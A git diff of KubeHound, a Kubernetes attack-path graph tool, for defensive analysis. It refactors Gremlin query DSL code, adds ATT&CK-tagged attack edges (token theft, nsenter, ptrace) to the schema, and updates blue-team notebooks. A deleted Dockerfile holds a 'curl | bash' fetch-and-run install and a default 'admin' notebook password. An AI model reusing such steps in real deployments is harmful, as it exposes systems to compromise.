{@code Vertex} returns the hop count of the shortest path to a + * critical asset. + * * @param maxHops the maximum number of hops in an attack path to consider * */ public default GraphTraversal minHopsToCritical(int maxHops) { - if (maxHops < PATH_HOPS_MIN) throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); - if (maxHops > PATH_HOPS_MAX) throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); - - return repeat(( - (KubeHoundTraversalDsl) __.out()) - .simplePath() - ).until( - __.has("critical", true) - .or() - .loops() - .is(maxHops) - ).has("critical", true) - .path() - .count(local) - .min(); + if (maxHops < PATH_HOPS_MIN) + throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); + if (maxHops > PATH_HOPS_MAX) + throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); + + return repeat(((KubeHoundTraversalDsl) __.out()) + .simplePath()).until( + __.has("critical", true) + .or() + .loops() + .is(maxHops)) + .has("critical", true) + .path() + .count(local) + .min(); } /** - * From a {@code Vertex} returns a group count (by label) of paths to a critical asset. + * From a {@code Vertex} returns a group count (by label) of paths to a critical + * asset. * */ public default GraphTraversal> criticalPathsFreq() { - return criticalPathsFreq(PATH_HOPS_DEFAULT); + return criticalPathsFreq(PATH_HOPS_DEFAULT); } /** - * From a {@code Vertex} returns a group count (by label) of paths to a critical asset. + * From a {@code Vertex} returns a group count (by label) of paths to a critical + * asset. * * @param maxHops the maximum number of hops in an attack path */ public default GraphTraversal> criticalPathsFreq(int maxHops) { - if (maxHops < PATH_HOPS_MIN) throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); - if (maxHops > PATH_HOPS_MAX) throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); + if (maxHops < PATH_HOPS_MIN) + throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); + if (maxHops > PATH_HOPS_MAX) + throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); return repeat( (KubeHoundTraversalDsl) __.outE() - .inV() - .simplePath() - ).emit() - .until( - __.has("critical", true) - .or() - .loops() - .is(maxHops) - ).has("critical", true) - .path() - .by(T.label) - .groupCount() - .order(local) - .by(__.select(values), Order.desc); + .inV() + .simplePath()) + .emit() + .until( + __.has("critical", true) + .or() + .loops() + .is(maxHops)) + .has("critical", true) + .path() + .by(T.label) + .groupCount() + .order(local) + .by(__.select(values), Order.desc); } } diff --git a/deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalSourceDsl.java b/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalSourceDsl.java similarity index 80% rename from deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalSourceDsl.java rename to deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalSourceDsl.java index 78b29facd..6352602e1 100644 --- a/deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalSourceDsl.java +++ b/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalSourceDsl.java @@ -60,13 +60,14 @@ public GraphTraversal cluster(String... names) { if (names.length > 0) { traversal = traversal.has("cluster", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices from the specified KubeHound run(s) + * Starts a traversal that finds all vertices from the specified KubeHound + * run(s) * * @param ids list of run ids to filter on */ @@ -75,13 +76,14 @@ public GraphTraversal run(String... ids) { if (ids.length > 0) { traversal = traversal.has("runID", P.within(ids)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices with a "Container" label and optionally allows filtering of those + * Starts a traversal that finds all vertices with a "Container" label and + * optionally allows filtering of those * vertices on the "name" property. * * @param names list of container names to filter on @@ -89,16 +91,17 @@ public GraphTraversal run(String... ids) { public GraphTraversal containers(String... names) { GraphTraversal traversal = this.clone().V(); - traversal = traversal.hasLabel("Container"); + traversal = traversal.has("class", "Container"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices with a "Pod" label and optionally allows filtering of those + * Starts a traversal that finds all vertices with a "Pod" label and optionally + * allows filtering of those * vertices on the "name" property. * * @param names list of pod names to filter on @@ -106,16 +109,17 @@ public GraphTraversal containers(String... names) { public GraphTraversal pods(String... names) { GraphTraversal traversal = this.clone().V(); - traversal = traversal.hasLabel("Pod"); + traversal = traversal.has("class", "Pod"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices with a "Node" label and optionally allows filtering of those + * Starts a traversal that finds all vertices with a "Node" label and optionally + * allows filtering of those * vertices on the "name" property. * * @param names list of node names to filter on @@ -123,33 +127,35 @@ public GraphTraversal pods(String... names) { public GraphTraversal nodes(String... names) { GraphTraversal traversal = this.clone().V(); - traversal = traversal.hasLabel("Node"); + traversal = traversal.has("class", "Node"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all container escape edges from a Container vertex to a Node vertex - * and optionally allows filtering of those vertices on the "nodeNames" property. + * Starts a traversal that finds all container escape edges from a Container + * vertex to a Node vertex + * and optionally allows filtering of those vertices on the "nodeNames" + * property. * * @param nodeNames list of node names to filter on - + * */ public GraphTraversal escapes(String... nodeNames) { GraphTraversal traversal = this.clone().V(); traversal = traversal - .hasLabel("Container") - .outE() - .inV() - .hasLabel("Node"); + .has("class", "Container") + .outE() + .inV() + .has("class", "Node"); if (nodeNames.length > 0) { traversal = traversal.has("name", P.within(nodeNames)); - } + } return traversal.path(); } @@ -159,183 +165,194 @@ public GraphTraversal escapes(String... nodeNames) { */ public GraphTraversal endpoints() { GraphTraversal traversal = this.clone().V(); - - traversal = traversal.hasLabel("Endpoint"); + + traversal = traversal.has("class", "Endpoint"); return traversal; } /** - * Starts a traversal that finds all vertices with a "Endpoint" label and optionally allows filtering of those + * Starts a traversal that finds all vertices with a "Endpoint" label and + * optionally allows filtering of those * vertices on the "exposure" property. * * @param exposure EndpointExposure enum value to filter on */ public GraphTraversal endpoints(EndpointExposure exposure) { if (exposure.ordinal() > EndpointExposure.Max.ordinal()) { - throw new IllegalArgumentException(String.format("invalid exposure value (must be <= %d)", EndpointExposure.Max.ordinal())); + throw new IllegalArgumentException( + String.format("invalid exposure value (must be <= %d)", EndpointExposure.Max.ordinal())); } if (exposure.ordinal() < EndpointExposure.None.ordinal()) { - throw new IllegalArgumentException(String.format("invalid exposure value (must be >= %d)", EndpointExposure.None.ordinal())); + throw new IllegalArgumentException( + String.format("invalid exposure value (must be >= %d)", EndpointExposure.None.ordinal())); } GraphTraversal traversal = this.clone().V(); - + traversal = traversal - .hasLabel("Endpoint") - .has("exposure", P.gte(exposure.ordinal())); + .has("class", "Endpoint") + .has("exposure", P.gte(exposure.ordinal())); return traversal; } /** - * Starts a traversal that finds all vertices with a "Endpoint" label exposed OUTSIDE the cluster as a service + * Starts a traversal that finds all vertices with a "Endpoint" label exposed + * OUTSIDE the cluster as a service * and optionally allows filtering of those vertices on the "portName" property. * * @param portNames list of port names to filter on */ public GraphTraversal services(String... portNames) { GraphTraversal traversal = this.clone().V(); - + traversal = traversal - .hasLabel("Endpoint") - .has("exposure", P.gte(EndpointExposure.External.ordinal())); + .has("class", "Endpoint") + .has("exposure", P.gte(EndpointExposure.External.ordinal())); if (portNames.length > 0) { traversal = traversal.has("portName", P.within(portNames)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices with a "Volume" label and optionally allows filtering of those + * Starts a traversal that finds all vertices with a "Volume" label and + * optionally allows filtering of those * vertices on the "name" property. * * @param names list of volume names to filter on */ public GraphTraversal volumes(String... names) { GraphTraversal traversal = this.clone().V(); - - traversal = traversal.hasLabel("Volume"); + + traversal = traversal.has("class", "Volume"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices representing volume host mounts and optionally allows filtering of those + * Starts a traversal that finds all vertices representing volume host mounts + * and optionally allows filtering of those * vertices on the "sourcePath" property. * * @param sourcePaths list of host source paths to filter on */ public GraphTraversal hostMounts(String... sourcePaths) { GraphTraversal traversal = this.clone().V(); - + traversal = traversal - .hasLabel("Volume") - .has("type", "HostPath"); + .has("class", "Volume") + .has("type", "HostPath"); if (sourcePaths.length > 0) { traversal = traversal.has("sourcePath", P.within(sourcePaths)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices with a "Identity" label and optionally allows filtering of those + * Starts a traversal that finds all vertices with a "Identity" label and + * optionally allows filtering of those * vertices on the "name" property. * * @param names list of identity names to filter on */ public GraphTraversal identities(String... names) { GraphTraversal traversal = this.clone().V(); - - traversal = traversal.hasLabel("Identity"); + + traversal = traversal.has("class", "Identity"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices representing service accounts and optionally allows filtering of those + * Starts a traversal that finds all vertices representing service accounts and + * optionally allows filtering of those * vertices on the "name" property. * * @param names list of service account names to filter on */ public GraphTraversal sas(String... names) { GraphTraversal traversal = this.clone().V(); - + traversal = traversal - .hasLabel("Identity") - .has("type", "ServiceAccount"); + .has("class", "Identity") + .has("type", "ServiceAccount"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices representing users and optionally allows filtering of those + * Starts a traversal that finds all vertices representing users and optionally + * allows filtering of those * vertices on the "name" property. * * @param names list of user names to filter on */ public GraphTraversal users(String... names) { GraphTraversal traversal = this.clone().V(); - + traversal = traversal - .hasLabel("Identity") - .has("type", "User"); + .has("class", "Identity") + .has("type", "User"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices representing groups and optionally allows filtering of those + * Starts a traversal that finds all vertices representing groups and optionally + * allows filtering of those * vertices on the "name" property. * * @param names list of groups names to filter on */ public GraphTraversal groups(String... names) { GraphTraversal traversal = this.clone().V(); - + traversal = traversal - .hasLabel("Identity") - .has("type", "Group"); + .has("class", "Identity") + .has("type", "Group"); if (names.length > 0) { traversal = traversal.has("name", P.within(names)); - } + } return traversal; } /** - * Starts a traversal that finds all vertices with a "PermissionSet" label and optionally allows filtering of those + * Starts a traversal that finds all vertices with a "PermissionSet" label and + * optionally allows filtering of those * vertices on the "role" property. * * @param roles list of underlying role names to filter on */ public GraphTraversal permissions(String... roles) { GraphTraversal traversal = this.clone().V(); - - traversal = traversal.hasLabel("PermissionSet"); + + traversal = traversal.has("class", "PermissionSet"); if (roles.length > 0) { traversal = traversal.has("role", P.within(roles)); - } + } return traversal; } diff --git a/deployments/kubehound/kubegraph/dsl/kubehound/src/test/java/com/datadog/ase/kubehound/KubeHoundDslTest.java b/deployments/kubehound/graph/dsl/kubehound/src/test/java/com/datadog/ase/kubehound/KubeHoundDslTest.java similarity index 100% rename from deployments/kubehound/kubegraph/dsl/kubehound/src/test/java/com/datadog/ase/kubehound/KubeHoundDslTest.java rename to deployments/kubehound/graph/dsl/kubehound/src/test/java/com/datadog/ase/kubehound/KubeHoundDslTest.java diff --git a/deployments/kubehound/kubegraph/kubehound-db-init.groovy b/deployments/kubehound/graph/kubehound-db-init.groovy similarity index 70% rename from deployments/kubehound/kubegraph/kubehound-db-init.groovy rename to deployments/kubehound/graph/kubehound-db-init.groovy index a4753ed15..9ff2792e3 100644 --- a/deployments/kubehound/kubegraph/kubehound-db-init.groovy +++ b/deployments/kubehound/graph/kubehound-db-init.groovy @@ -40,8 +40,8 @@ mgmt.addConnection(hostRead, volume, node); hostTraverse = mgmt.makeEdgeLabel('EXPLOIT_HOST_TRAVERSE').multiplicity(MULTI).make(); mgmt.addConnection(hostTraverse, volume, volume); -sharedPs = mgmt.makeEdgeLabel('SHARE_PS_NAMESPACE').multiplicity(MULTI).make(); -mgmt.addConnection(sharedPs, container, container); +sharedPsNamespace = mgmt.makeEdgeLabel('SHARE_PS_NAMESPACE').multiplicity(MULTI).make(); +mgmt.addConnection(sharedPsNamespace, container, container); containerAttach = mgmt.makeEdgeLabel('CONTAINER_ATTACH').multiplicity(ONE2MANY).make(); mgmt.addConnection(containerAttach, pod, container); @@ -149,6 +149,9 @@ protocol = mgmt.makePropertyKey('protocol').dataType(String.class).cardinality(C role = mgmt.makePropertyKey('role').dataType(String.class).cardinality(Cardinality.SINGLE).make(); roleBinding = mgmt.makePropertyKey('roleBinding').dataType(String.class).cardinality(Cardinality.SINGLE).make(); +// All edge properties +attckTechniqueID = mgmt.makePropertyKey('attckTechniqueID').dataType(String.class).cardinality(Cardinality.SINGLE).make(); +attckTacticID = mgmt.makePropertyKey('attckTacticID').dataType(String.class).cardinality(Cardinality.SINGLE).make(); // Define properties for each vertex mgmt.addProperties(container, cls, cluster, runID, storeID, app, team, service, isNamespaced, namespace, name, image, privileged, privesc, hostPid, hostIpc, hostNetwork, runAsUser, podName, nodeName, compromised, command, args, capabilities, ports); @@ -159,6 +162,32 @@ mgmt.addProperties(permissionSet, cls, cluster, runID, storeID, app, team, servi mgmt.addProperties(volume, cls, cluster, runID, storeID, app, team, service, name, isNamespaced, namespace, type, sourcePath, mountPath, readonly); mgmt.addProperties(endpoint, cls, cluster, runID, storeID, app, team, service, name, isNamespaced, namespace, serviceEndpoint, serviceDns, addressType, addresses, port, portName, protocol, exposure, compromised); +// Define properties for each edge +mgmt.addProperties(permissionDiscover, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(volumeDiscover, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(volumeAccess, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(hostWrite, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(hostRead, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(hostTraverse, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(sharedPsNamespace, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(containerAttach, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(idAssume, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(idImpersonate, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(roleBind, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(podAttach, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(podCreate, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(podPatch, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(podExec, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(tokenSteal, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(tokenBruteforce, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(tokenList, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(nsenter, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(moduleLoad, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(umhCorePattern, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(privMount, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(sysPtrace, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(varLogSymLink, runID, attckTechniqueID, attckTacticID); +mgmt.addProperties(endpointExploit, runID, attckTechniqueID, attckTacticID); // Create the indexes on vertex properties // NOTE: labels cannot be indexed so we create the class property to mirror the vertex label and allow indexing @@ -179,6 +208,21 @@ mgmt.buildIndex('byServiceEndpoint', Vertex.class).addKey(serviceEndpoint).build mgmt.buildIndex('byServiceDns', Vertex.class).addKey(serviceDns).buildCompositeIndex(); mgmt.buildIndex('byExposure', Vertex.class).addKey(exposure).buildCompositeIndex(); +// Create composite indices for the properties we want to search on +mgmt.buildIndex('byClusterAndRunIDComposite', Vertex.class).addKey(cluster).addKey(runID).buildCompositeIndex(); +mgmt.buildIndex('byClassAndRunIDComposite', Vertex.class).addKey(cls).addKey(runID).buildCompositeIndex(); +mgmt.buildIndex('byClassAndClusterComposite', Vertex.class).addKey(cls).addKey(cluster).buildCompositeIndex(); +mgmt.buildIndex('byClassAndTypeComposite', Vertex.class).addKey(cls).addKey(type).buildCompositeIndex(); +mgmt.buildIndex('byClassAndExposureComposite', Vertex.class).addKey(cls).addKey(exposure).buildCompositeIndex(); +mgmt.buildIndex('byTypeAndNameComposite', Vertex.class).addKey(type).addKey(name).buildCompositeIndex(); +mgmt.buildIndex('byImageAndRunIDComposite', Vertex.class).addKey(image).addKey(runID).buildCompositeIndex(); +mgmt.buildIndex('byAppAndRunIDComposite', Vertex.class).addKey(app).addKey(runID).buildCompositeIndex(); +mgmt.buildIndex('byNamespaceAndRunIDComposite', Vertex.class).addKey(namespace).addKey(runID).buildCompositeIndex(); + +// Create the indexes on edge properties +mgmt.buildIndex('edgesByAttckTechniqueID', Edge.class).addKey(attckTechniqueID).buildCompositeIndex(); +mgmt.buildIndex('edgesByAttckTacticID', Edge.class).addKey(attckTacticID).buildCompositeIndex(); +mgmt.buildIndex('edgesByRunID', Edge.class).addKey(runID).buildCompositeIndex(); mgmt.commit(); @@ -194,9 +238,28 @@ ManagementSystem.awaitGraphIndexStatus(graph, 'byName').status(SchemaStatus.ENAB ManagementSystem.awaitGraphIndexStatus(graph, 'byNamespace').status(SchemaStatus.ENABLED).call(); ManagementSystem.awaitGraphIndexStatus(graph, 'byType').status(SchemaStatus.ENABLED).call(); ManagementSystem.awaitGraphIndexStatus(graph, 'byCritical').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byPort').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byPortName').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byServiceEndpoint').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byServiceDns').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byExposure').status(SchemaStatus.ENABLED).call(); + +ManagementSystem.awaitGraphIndexStatus(graph, 'byClusterAndRunIDComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byClassAndRunIDComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byClassAndClusterComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byClassAndTypeComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byClassAndExposureComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byTypeAndNameComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byImageAndRunIDComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byAppAndRunIDComposite').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'byNamespaceAndRunIDComposite').status(SchemaStatus.ENABLED).call(); + +ManagementSystem.awaitGraphIndexStatus(graph, 'edgesByAttckTechniqueID').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'edgesByAttckTacticID').status(SchemaStatus.ENABLED).call(); +ManagementSystem.awaitGraphIndexStatus(graph, 'edgesByRunID').status(SchemaStatus.ENABLED).call(); System.out.println("[KUBEHOUND] graph schema and indexes ready"); mgmt.close(); // Close the open connection -:remote close \ No newline at end of file +:remote close diff --git a/deployments/kubehound/kubegraph/lib/exporter-config.yaml b/deployments/kubehound/graph/lib/exporter-config.yaml similarity index 100% rename from deployments/kubehound/kubegraph/lib/exporter-config.yaml rename to deployments/kubehound/graph/lib/exporter-config.yaml diff --git a/deployments/kubehound/kubegraph/lib/jmx_prometheus_javaagent-0.18.0.jar b/deployments/kubehound/graph/lib/jmx_prometheus_javaagent-0.18.0.jar similarity index 100% rename from deployments/kubehound/kubegraph/lib/jmx_prometheus_javaagent-0.18.0.jar rename to deployments/kubehound/graph/lib/jmx_prometheus_javaagent-0.18.0.jar diff --git a/deployments/kubehound/kubegraph/scripts/health-check.groovy b/deployments/kubehound/graph/scripts/health-check.groovy similarity index 100% rename from deployments/kubehound/kubegraph/scripts/health-check.groovy rename to deployments/kubehound/graph/scripts/health-check.groovy diff --git a/deployments/kubehound/kubegraph/scripts/kubehound-dsl-init.groovy b/deployments/kubehound/graph/scripts/kubehound-dsl-init.groovy similarity index 100% rename from deployments/kubehound/kubegraph/scripts/kubehound-dsl-init.groovy rename to deployments/kubehound/graph/scripts/kubehound-dsl-init.groovy diff --git a/deployments/kubehound/kubehound.env.tpl b/deployments/kubehound/kubehound.env.tpl new file mode 100644 index 000000000..b2a3d7729 --- /dev/null +++ b/deployments/kubehound/kubehound.env.tpl @@ -0,0 +1,15 @@ +# Custom config for docker compose environment +KH_MONGODB_URL=mongodb://mongodb:27017 +KH_JANUSGRAPH_URL=ws://kubegraph:8182/gremlin +# Default config +KH_INGESTOR_API_ENDPOINT=0.0.0.0:9000 +KH_INGESTOR_TEMP_DIR=/tmp/kubehound +KH_INGESTOR_MAX_ARCHIVE_SIZE=2147483648 # 2GB +KH_INGESTOR_ARCHIVE_NAME=archive.tar.gz +KH_LOG_FORMAT=dd +# AWS Bucket configuration +KH_INGESTOR_REGION=us-east-1 +KH_INGESTOR_BUCKET_URL="" # s3:// +AWS_ACCESS_KEY_ID= +AWS_SECRET_ACCESS_KEY= +AWS_SESSION_TOKEN= # for aws-vault generated credentials diff --git a/deployments/kubehound/notebook/Dockerfile b/deployments/kubehound/notebook/Dockerfile deleted file mode 100644 index 12f09950b..000000000 --- a/deployments/kubehound/notebook/Dockerfile +++ /dev/null @@ -1,78 +0,0 @@ -# This Dockerfile is a tailored version of https://github.com/aws/graph-notebook under APACHE 2 LICENCE - -FROM amazonlinux:2 - -# Notebook Port -EXPOSE 8888 -# Lab Port -EXPOSE 8889 -USER root - -ENV pipargs="" -ENV WORKING_DIR="/root" -ENV NOTEBOOK_DIR="${WORKING_DIR}/notebooks" -ENV NODE_VERSION=14.x -ENV GRAPH_NOTEBOOK_AUTH_MODE="DEFAULT" -ENV GRAPH_NOTEBOOK_HOST="kubegraph" -ENV GRAPH_NOTEBOOK_PORT="8182" -ENV NOTEBOOK_PORT="8888" -ENV LAB_PORT="8889" -ENV GRAPH_NOTEBOOK_SSL="True" -ENV NOTEBOOK_PASSWORD="admin" - -# "when the SIGTERM signal is sent to the docker process, it immediately quits and all established connections are closed" -# "graceful stop is triggered when the SIGUSR1 signal is sent to the docker process" -STOPSIGNAL SIGUSR1 - - -RUN mkdir -p "${WORKING_DIR}" && \ - mkdir -p "${NOTEBOOK_DIR}" && \ - # Yum Update and install dependencies - yum update -y && \ - yum install tar gzip git amazon-linux-extras which -y && \ - # Install NPM/Node - curl --silent --location https://rpm.nodesource.com/setup_${NODE_VERSION} | bash - && \ - yum install nodejs -y && \ - npm install -g opencollective && \ - # Install Python 3.8 - amazon-linux-extras install python3.8 -y && \ - update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.8 1 && \ - echo 'Using python version:' && \ - python3 --version && \ - python3 -m ensurepip --upgrade && \ - python3 -m venv /tmp/venv && \ - source /tmp/venv/bin/activate && \ - cd "${WORKING_DIR}" && \ - # Clone the repo and install python dependencies - git clone https://github.com/aws/graph-notebook && \ - cd "${WORKING_DIR}/graph-notebook" && \ - pip3 install --upgrade pip setuptools wheel && \ - pip3 install twine==3.7.1 && \ - pip3 install -r requirements.txt && \ - pip3 install "jupyterlab>=3,<4" && \ - # Build the package - python3 setup.py sdist bdist_wheel && \ - # install the copied repo - pip3 install . && \ - # copy premade starter notebooks - cd "${WORKING_DIR}/graph-notebook" && \ - jupyter nbextension enable --py --sys-prefix graph_notebook.widgets && \ - # This allows for the `.ipython` to be set - python -m graph_notebook.start_jupyterlab --jupyter-dir "${NOTEBOOK_DIR}" && \ - # Cleanup - yum clean all && \ - yum remove wget tar git -y && \ - rm -rf /var/cache/yum && \ - rm -rf "${WORKING_DIR}/graph-notebook" && \ - rm -rf /root/.cache && \ - rm -rf /root/.npm/_cacache && \ - rm -rf /usr/share - -ADD "KubeHound.ipynb" "${NOTEBOOK_DIR}/KubeHound.ipynb" -ADD "RedTeam.ipynb" "${NOTEBOOK_DIR}/RedTeam.ipynb" -ADD "BlueTeam.ipynb" "${NOTEBOOK_DIR}/BlueTeam.ipynb" -ADD "SecurityPosture.ipynb" "${NOTEBOOK_DIR}/SecurityPosture.ipynb" -ADD ./service.sh /usr/bin/service.sh -RUN chmod +x /usr/bin/service.sh - -ENTRYPOINT [ "bash","-c","service.sh" ] diff --git a/deployments/kubehound/notebook/BlueTeam.ipynb b/deployments/kubehound/ui/BlueTeam.ipynb similarity index 71% rename from deployments/kubehound/notebook/BlueTeam.ipynb rename to deployments/kubehound/ui/BlueTeam.ipynb index d896acc2b..0bd5219d1 100644 --- a/deployments/kubehound/notebook/BlueTeam.ipynb +++ b/deployments/kubehound/ui/BlueTeam.ipynb @@ -15,42 +15,20 @@ "source": [ "## Initial Setup\n", "\n", - "Connect to the kubegraph server by running the cell below" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "%%graph_notebook_config\n", - "{\n", - " \"host\": \"kubegraph\",\n", - " \"port\": 8182,\n", - " \"ssl\": false,\n", - " \"gremlin\": {\n", - " \"traversal_source\": \"g\",\n", - " \"username\": \"\",\n", - " \"password\": \"\",\n", - " \"message_serializer\": \"graphsonv3\"\n", - " }\n", - "}" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ + "Connection is being initated directly from the docker using the env vars `GRAPH_NOTEBOOK_HOST` and `GRAPH_NOTEBOOK_PORT`. To overwrite it you can use the magic `%%graph_notebook_config` [details here](https://github.com/aws/graph-notebook/tree/main/additional-databases/gremlin-server#connecting-to-a-local-gremlin-server-from-jupyter).\n", + "\n", "Now set the appearance customizations for the notebook. You can see a guide on possible options [here](https://github.com/aws/graph-notebook/blob/623d43827f798c33125219e8f45ad1b6e5b29513/src/graph_notebook/notebooks/01-Neptune-Database/02-Visualization/Grouping-and-Appearance-Customization-Gremlin.ipynb#L680)" ] }, { "cell_type": "code", "execution_count": null, - "metadata": {}, + "metadata": { + "init_cell": true + }, "outputs": [], "source": [ + "%%capture \"Remove this line to see debug information\"\n", "%%graph_notebook_vis_options\n", "{\n", " \"edges\": {\n", @@ -95,12 +73,13 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.identities().\n", - " or(\n", + "kh.identities()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .or(\n", " has(\"type\", \"Group\").has(\"name\", within(\"dept-sales\", \"k8s-users\")),\n", - " has(\"type\", \"User\").has(\"name\", \"bits.barkley@datadoghq.com\")).\n", - " hasCriticalPath().\n", - " values(\"name\")" + " has(\"type\", \"User\").has(\"name\", \"bits.barkley@datadoghq.com\"))\n", + " .hasCriticalPath()\n", + " .values(\"name\")" ] }, { @@ -118,13 +97,14 @@ "source": [ "\n", "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.identities().\n", - " or(\n", + "kh.identities()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .or(\n", " has(\"type\", \"Group\").has(\"name\", within(\"dept-sales\", \"k8s-users\")),\n", - " has(\"type\", \"User\").has(\"name\", \"bits.barkley@datadoghq.com\")).\n", - " criticalPaths().\n", - " by(elementMap()).\n", - " limit(100) // Limit the number of results for large clusters\n" + " has(\"type\", \"User\").has(\"name\", \"bits.barkley@datadoghq.com\"))\n", + " .criticalPaths()\n", + " .by(elementMap())\n", + " .limit(100) // Limit the number of results for large clusters" ] }, { @@ -152,13 +132,14 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.containers().\n", - " or(\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .or(\n", " has(\"image\", TextP.containing(\"nginx\")), // Replace with your image name\n", - " has(\"image\", TextP.containing(\"cilium\"))). // Replace with your image name\n", - " hasCriticalPath().\n", - " values(\"name\").\n", - " dedup()" + " has(\"image\", TextP.containing(\"cilium\"))) // Replace with your image name\n", + " .hasCriticalPath()\n", + " .values(\"name\")\n", + " .dedup()" ] }, { @@ -175,13 +156,14 @@ "outputs": [], "source": [ "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.containers().\n", - " or(\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .or(\n", " has(\"image\", TextP.containing(\"nginx\")), // Replace with your image name\n", - " has(\"image\", TextP.containing(\"cilium\"))). // Replace with your image name\n", - " criticalPaths().\n", - " by(elementMap()).\n", - " limit(100) // Limit the number of results for large clusters" + " has(\"image\", TextP.containing(\"cilium\"))) // Replace with your image name\n", + " .criticalPaths()\n", + " .by(elementMap())\n", + " .limit(100) // Limit the number of results for large clusters" ] }, { @@ -209,15 +191,17 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.containers().\n", - " where(out().hasLabel(\"Node\")).\n", - " or(\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .where(out().hasLabel(\"Node\"))\n", + " .or(\n", " has(\"image\", TextP.containing(\"nginx\")), // Replace with your image name\n", - " has(\"image\", TextP.containing(\"cilium\"))). // Replace with your image name\n", - "\tproject('image',\"escapes\").\n", - "\tby(values(\"image\")).\n", - "\tby(outE().where(inV().hasLabel(\"Node\")).label().fold()).\n", - "\tdedup()" + " has(\"image\", 